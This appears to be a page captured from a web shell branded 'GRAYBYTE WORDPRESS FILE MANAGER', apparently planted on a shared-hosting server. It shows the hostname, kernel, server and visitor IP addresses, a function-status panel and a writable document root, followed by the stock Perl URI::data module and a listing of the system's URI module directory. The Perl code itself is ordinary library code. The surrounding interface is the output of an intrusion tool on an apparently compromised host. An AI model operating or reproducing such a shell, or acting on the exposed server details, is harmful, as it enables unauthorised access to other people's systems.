✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.105
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/share/perl5/URI//data.pm
package URI::data;  # RFC 2397

use strict;
use warnings;

use parent 'URI';

our $VERSION = '1.73';
$VERSION = eval $VERSION;

use MIME::Base64 qw(encode_base64 decode_base64);
use URI::Escape  qw(uri_unescape);

sub media_type
{
    my $self = shift;
    my $opaque = $self->opaque;
    $opaque =~ /^([^,]*),?/ or die;
    my $old = $1;
    my $base64;
    $base64 = $1 if $old =~ s/(;base64)$//i;
    if (@_) {
	my $new = shift;
	$new = "" unless defined $new;
	$new =~ s/%/%25/g;
	$new =~ s/,/%2C/g;
	$base64 = "" unless defined $base64;
	$opaque =~ s/^[^,]*,?/$new$base64,/;
	$self->opaque($opaque);
    }
    return uri_unescape($old) if $old;  # media_type can't really be "0"
    "text/plain;charset=US-ASCII";      # default type
}

sub data
{
    my $self = shift;
    my($enc, $data) = split(",", $self->opaque, 2);
    unless (defined $data) {
	$data = "";
	$enc  = "" unless defined $enc;
    }
    my $base64 = ($enc =~ /;base64$/i);
    if (@_) {
	$enc =~ s/;base64$//i if $base64;
	my $new = shift;
	$new = "" unless defined $new;
	my $uric_count = _uric_count($new);
	my $urienc_len = $uric_count + (length($new) - $uric_count) * 3;
	my $base64_len = int((length($new)+2) / 3) * 4;
	$base64_len += 7;  # because of ";base64" marker
	if ($base64_len < $urienc_len || $_[0]) {
	    $enc .= ";base64";
	    $new = encode_base64($new, "");
	} else {
	    $new =~ s/%/%25/g;
	}
	$self->opaque("$enc,$new");
    }
    return unless defined wantarray;
    $data = uri_unescape($data);
    return $base64 ? decode_base64($data) : $data;
}

# I could not find a better way to interpolate the tr/// chars from
# a variable.
my $ENC = $URI::uric;
$ENC =~ s/%//;

eval <<EOT; die $@ if $@;
sub _uric_count
{
    \$_[0] =~ tr/$ENC//;
}
EOT

1;

__END__

=head1 NAME

URI::data - URI that contains immediate data

=head1 SYNOPSIS

 use URI;

 $u = URI->new("data:");
 $u->media_type("image/gif");
 $u->data(scalar(`cat camel.gif`));
 print "$u\n";
 open(XV, "|xv -") and print XV $u->data;

=head1 DESCRIPTION

The C<URI::data> class supports C<URI> objects belonging to the I<data>
URI scheme.  The I<data> URI scheme is specified in RFC 2397.  It
allows inclusion of small data items as "immediate" data, as if it had
been included externally.  Examples:

  data:,Perl%20is%20good

  data:image/gif;base64,R0lGODdhIAAgAIAAAAAAAPj8+CwAAAAAI
    AAgAAAClYyPqcu9AJyCjtIKc5w5xP14xgeO2tlY3nWcajmZZdeJcG
    Kxrmimms1KMTa1Wg8UROx4MNUq1HrycMjHT9b6xKxaFLM6VRKzI+p
    KS9XtXpcbdun6uWVxJXA8pNPkdkkxhxc21LZHFOgD2KMoQXa2KMWI
    JtnE2KizVUkYJVZZ1nczBxXlFopZBtoJ2diXGdNUymmJdFMAADs=



C<URI> objects belonging to the data scheme support the common methods
(described in L<URI>) and the following two scheme-specific methods:

=over 4

=item $uri->media_type( [$new_media_type] )

Can be used to get or set the media type specified in the
URI.  If no media type is specified, then the default
C<"text/plain;charset=US-ASCII"> is returned.

=item $uri->data( [$new_data] )

Can be used to get or set the data contained in the URI.
The data is passed unescaped (in binary form).  The decision about
whether to base64 encode the data in the URI is taken automatically,
based on the encoding that produces the shorter URI string.

=back

=head1 SEE ALSO

L<URI>

=head1 COPYRIGHT

Copyright 1995-1998 Gisle Aas.

This library is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

=cut


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
28 Jul 2025 11.30 PM
root / root
0755
file
--
3 Mar 2024 7.11 PM
root / root
0755
urn
--
3 Mar 2024 7.11 PM
root / root
0755
Escape.pm
6.896 KB
9 Jan 2018 6.42 AM
root / root
0644
Heuristic.pm
6.371 KB
9 Jan 2018 6.42 AM
root / root
0644
IRI.pm
0.801 KB
9 Jan 2018 6.42 AM
root / root
0644
QueryParam.pm
4.772 KB
9 Jan 2018 6.42 AM
root / root
0644
Split.pm
2.323 KB
9 Jan 2018 6.42 AM
root / root
0644
URL.pm
5.358 KB
9 Jan 2018 6.42 AM
root / root
0644
WithBase.pm
3.767 KB
9 Jan 2018 6.42 AM
root / root
0644
_foreign.pm
0.13 KB
9 Jan 2018 6.42 AM
root / root
0644
_generic.pm
5.711 KB
9 Jan 2018 6.42 AM
root / root
0644
_idna.pm
2.056 KB
9 Jan 2018 6.42 AM
root / root
0644
_ldap.pm
3.198 KB
9 Jan 2018 6.42 AM
root / root
0644
_login.pm
0.251 KB
9 Jan 2018 6.42 AM
root / root
0644
_punycode.pm
5.516 KB
9 Jan 2018 6.42 AM
root / root
0644
_query.pm
2.497 KB
9 Jan 2018 6.42 AM
root / root
0644
_segment.pm
0.432 KB
9 Jan 2018 6.42 AM
root / root
0644
_server.pm
3.662 KB
9 Jan 2018 6.42 AM
root / root
0644
_userpass.pm
1.035 KB
9 Jan 2018 6.42 AM
root / root
0644
data.pm
3.337 KB
9 Jan 2018 6.42 AM
root / root
0644
file.pm
9.532 KB
9 Jan 2018 6.42 AM
root / root
0644
ftp.pm
1.057 KB
9 Jan 2018 6.42 AM
root / root
0644
gopher.pm
2.396 KB
9 Jan 2018 6.42 AM
root / root
0644
http.pm
0.44 KB
9 Jan 2018 6.42 AM
root / root
0644
https.pm
0.166 KB
9 Jan 2018 6.42 AM
root / root
0644
ldap.pm
2.881 KB
9 Jan 2018 6.42 AM
root / root
0644
ldapi.pm
0.456 KB
9 Jan 2018 6.42 AM
root / root
0644
ldaps.pm
0.166 KB
9 Jan 2018 6.42 AM
root / root
0644
mailto.pm
1.271 KB
9 Jan 2018 6.42 AM
root / root
0644
mms.pm
0.147 KB
9 Jan 2018 6.42 AM
root / root
0644
news.pm
1.445 KB
9 Jan 2018 6.42 AM
root / root
0644
nntp.pm
0.149 KB
9 Jan 2018 6.42 AM
root / root
0644
pop.pm
1.204 KB
9 Jan 2018 6.42 AM
root / root
0644
rlogin.pm
0.151 KB
9 Jan 2018 6.42 AM
root / root
0644
rsync.pm
0.228 KB
9 Jan 2018 6.42 AM
root / root
0644
rtsp.pm
0.147 KB
9 Jan 2018 6.42 AM
root / root
0644
rtspu.pm
0.148 KB
9 Jan 2018 6.42 AM
root / root
0644
sftp.pm
0.121 KB
9 Jan 2018 6.42 AM
root / root
0644
sip.pm
1.694 KB
9 Jan 2018 6.42 AM
root / root
0644
sips.pm
0.165 KB
9 Jan 2018 6.42 AM
root / root
0644
snews.pm
0.193 KB
9 Jan 2018 6.42 AM
root / root
0644
ssh.pm
0.196 KB
9 Jan 2018 6.42 AM
root / root
0644
telnet.pm
0.15 KB
9 Jan 2018 6.42 AM
root / root
0644
tn3270.pm
0.15 KB
9 Jan 2018 6.42 AM
root / root
0644
urn.pm
2.149 KB
9 Jan 2018 6.42 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF